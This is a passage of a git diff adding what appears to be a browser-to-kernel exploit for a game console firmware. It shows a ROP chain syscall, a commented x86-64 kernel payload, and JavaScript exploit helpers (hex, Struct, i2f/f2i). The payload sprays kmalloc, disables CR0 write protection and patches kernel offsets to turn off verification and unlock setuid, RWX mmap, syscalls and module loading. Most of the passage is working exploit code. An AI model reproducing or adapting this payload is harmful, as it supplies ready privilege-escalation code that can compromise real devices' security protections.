+ chain.syscall(54, target_socket, 0x20001111, 0);
+ //alert("executed in kernel");
+ //p.write8(0, 0);
+}
+/*
+ - assemble & take every 4 bytes, byteswap and assign them to exec_writer
+ - overwrite dynamic stuff after
+*/
+/*
+//spam malloc, this should not be required anymore
+push rbp
+push rbx
+push r12
+
+mov rbx, 0x1111111111111111
+mov rbp, 0x2222222222222222
+xor r12, r12
+
+kmalloc_loop:
+ mov edi, 0xC0
+ mov rsi, rbx
+ mov edx, 2
+ call rbp
+ add r12, 0x1
+ cmp r12, 0x500
+ jne kmalloc_loop
+
+pop r12
+pop rbx
+pop rbp
+
+//kill all of our socket file*'s just in case
+//get thr pointer
+mov rax, qword ptr gs:[0x0]
+//get proc pointer
+mov rax, qword ptr [rax + 0x8]
+//get filedesc pointer
+mov rax, qword ptr [rax + 0x48]
+//get file pointer pointer
+mov rax, qword ptr [rax + 0x0]
+
+mov rcx, 0x3333333333333333
+mov rdi, 0x2BE
+xor rsi, rsi
+loop_check:
+ cmp rsi, rdi
+ jge end
+ mov edx, dword ptr [rcx + 0x4 * rsi]
+ mov qword ptr [rax + rdx * 0x8], 0x0
+ add rsi, 0x1
+ jmp loop_check
+
+end:
+
+//socketops field pointer
+mov rdi, 0x4444444444444444
+//original socketops pointer
+mov rsi, 0x5555555555555555
+mov qword ptr [rdi], rsi
+//kernel base
+mov rdi, 0x6666666666666666
+
+//disable wp
+mov rax, cr0
+and rax, 0xFFFFFFFFFFFEFFFF
+mov cr0, rax
+
+//sysveri just die
+mov byte ptr [rdi + 0x63a160], 0xC3
+mov dword ptr [rdi + 0x63acc0], 0xC3C03148
+mov dword ptr [rdi + 0x639f10], 0xC3C03148
+mov dword ptr [rdi + 0x63a6e0], 0xC3C03148
+mov byte ptr [rdi + 0x267b5c0], 0x00
+
+//mprotect
+mov rsi, 0x8B49909090909090
+mov qword ptr [rdi + 0x264C08], rsi
+
+//setuid
+mov dword ptr [rdi + 0x87B70], 0xB8
+
+//syscall everywhere
+mov dword ptr [rdi + 0x490], 0x0
+mov word ptr [rdi + 0x4B9], 0x9090
+mov word ptr [rdi + 0x4BD], 0x9090
+mov word ptr [rdi + 0x4C6], 0xE990
+
+//rwx mmap
+mov byte ptr [rdi + 0x1D2336], 0x37
+mov byte ptr [rdi + 0x1D2339], 0x37
+
+//patch load prx
+mov word ptr [rdi + 0x94EC1], 0xE990
+
+//dlsym
+mov word ptr [rdi + 0x9547B], 0xE990
+mov dword ptr [rdi + 0x2F2C20], 0xC3C03148
+
+//syscall 11
+mov qword ptr [rdi + 0x1125870], 0x2
+lea rsi, [rdi + 0x6B192]
+mov qword ptr [rdi + 0x1125878], rsi
+mov dword ptr [rdi + 0x112589C], 0x1
+
+//enable wp
+or rax, 0x10000
+mov cr0, rax
+mov rax, 0x8080808080808080
+ret
+*/
+
+
+//rdi
+//rsi
+//rdx
+//rcx
+//r8
+//r9
\ No newline at end of file
diff --git a/702L/utils.js b/702L/utils.js
new file mode 100644
index 00000000..cfb0e951
--- /dev/null
+++ b/702L/utils.js
@@ -0,0 +1,121 @@
+function die(msg) {
+ alert(msg);
+ undefinedFunction();
+}
+
+function debug_log(msg) {
+ let textNode = document.createTextNode(msg);
+ let node = document.createElement("p").appendChild(textNode);
+
+ document.body.appendChild(node);
+ document.body.appendChild(document.createElement("br"));
+}
+
+// The following functions are taken from https://github.com/saelo/jscpwn/:
+// hex, hexlify, unhexlify, hexdump
+// Copyright (c) 2016 Samuel Groß
+
+// Return the hexadecimal representation of the given byte.
+function hex(b) {
+ return ('0' + b.toString(16)).substr(-2);
+}
+
+// Return the hexadecimal representation of the given byte array.
+function hexlify(bytes) {
+ var res = [];
+ for (var i = 0; i < bytes.length; i++)
+ res.push(hex(bytes[i]));
+
+ return res.join('');
+}
+
+// Return the binary data represented by the given hexdecimal string.
+function unhexlify(hexstr) {
+ if (hexstr.length % 2 == 1)
+ throw new TypeError("Invalid hex string");
+
+ var bytes = new Uint8Array(hexstr.length / 2);
+ for (var i = 0; i < hexstr.length; i += 2)
+ bytes[i / 2] = parseInt(hexstr.substr(i, 2), 16);
+
+ return bytes;
+}
+
+function hexdump(data) {
+ if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
+ data = Array.from(data);
+
+ var lines = [];
+ for (var i = 0; i < data.length; i += 16) {
+ var chunk = data.slice(i, i + 16);
+ var parts = chunk.map(hex);
+ if (parts.length > 8)
+ parts.splice(8, 0, ' ');
+ lines.push("" + i.toString(16) + " : " + parts.join(' '));
+ // lines.push(parts.join(' '));
+ }
+
+ return lines.join('\n');
+}
+
+function buf2hex(buffer) {
+ return Array.prototype.map.call(new Uint8Array(buffer), x => ('00' + x.toString(16)).slice(-2)).join('');
+}
+
+// Simplified version of the similarly named python module.
+var Struct = (function () {
+ // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
+ var buffer = new ArrayBuffer(8);
+ var byteView = new Uint8Array(buffer);
+ var uint32View = new Uint32Array(buffer);
+ var float64View = new Float64Array(buffer);
+
+ return {
+ pack: function (type, low, high) {
+ var view = type;
+ view[0] = low;
+ /*if (arguments.length == 2) {
+ view[1] = high;
+ }*/
+ return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
+ },
+
+ unpack: function (type, bytes) {
+ if (bytes.length !== type.BYTES_PER_ELEMENT)
+ throw Error("Invalid bytearray");
+
+ var view = type; // See below
+ byteView.set(bytes);
+ return view[0];
+ },
+
+ // Available types.
+ int8: byteView,
+ int32: uint32View,
+ float64: float64View
+ };
+})();
+
+var backingBuffer = new ArrayBuffer(8);
+var f = new Float32Array(backingBuffer);
+var i = new Uint32Array(backingBuffer);
+
+function i2f(num) {
+ i[0] = num;
+ return f[0];
+}
+
+function f2i(num) {
+ f[0] = num;
+ return i[0];
+}
+
+function str2array(str, length, offset) {
+ if (offset === undefined)
+ offset = 0;
+ var a = new Array(length);
+ for (var i = 0; i < length; i++) {
+ a[i] = str.charCodeAt(i + offset);
+ }
+ return a;
+}
\ No newline at end of file
diff --git a/702L/webrte.bin b/702L/webrte.bin
new file mode 100644
index 00000000..e329f8c5
Binary files /dev/null and b/702L/webrte.bin differ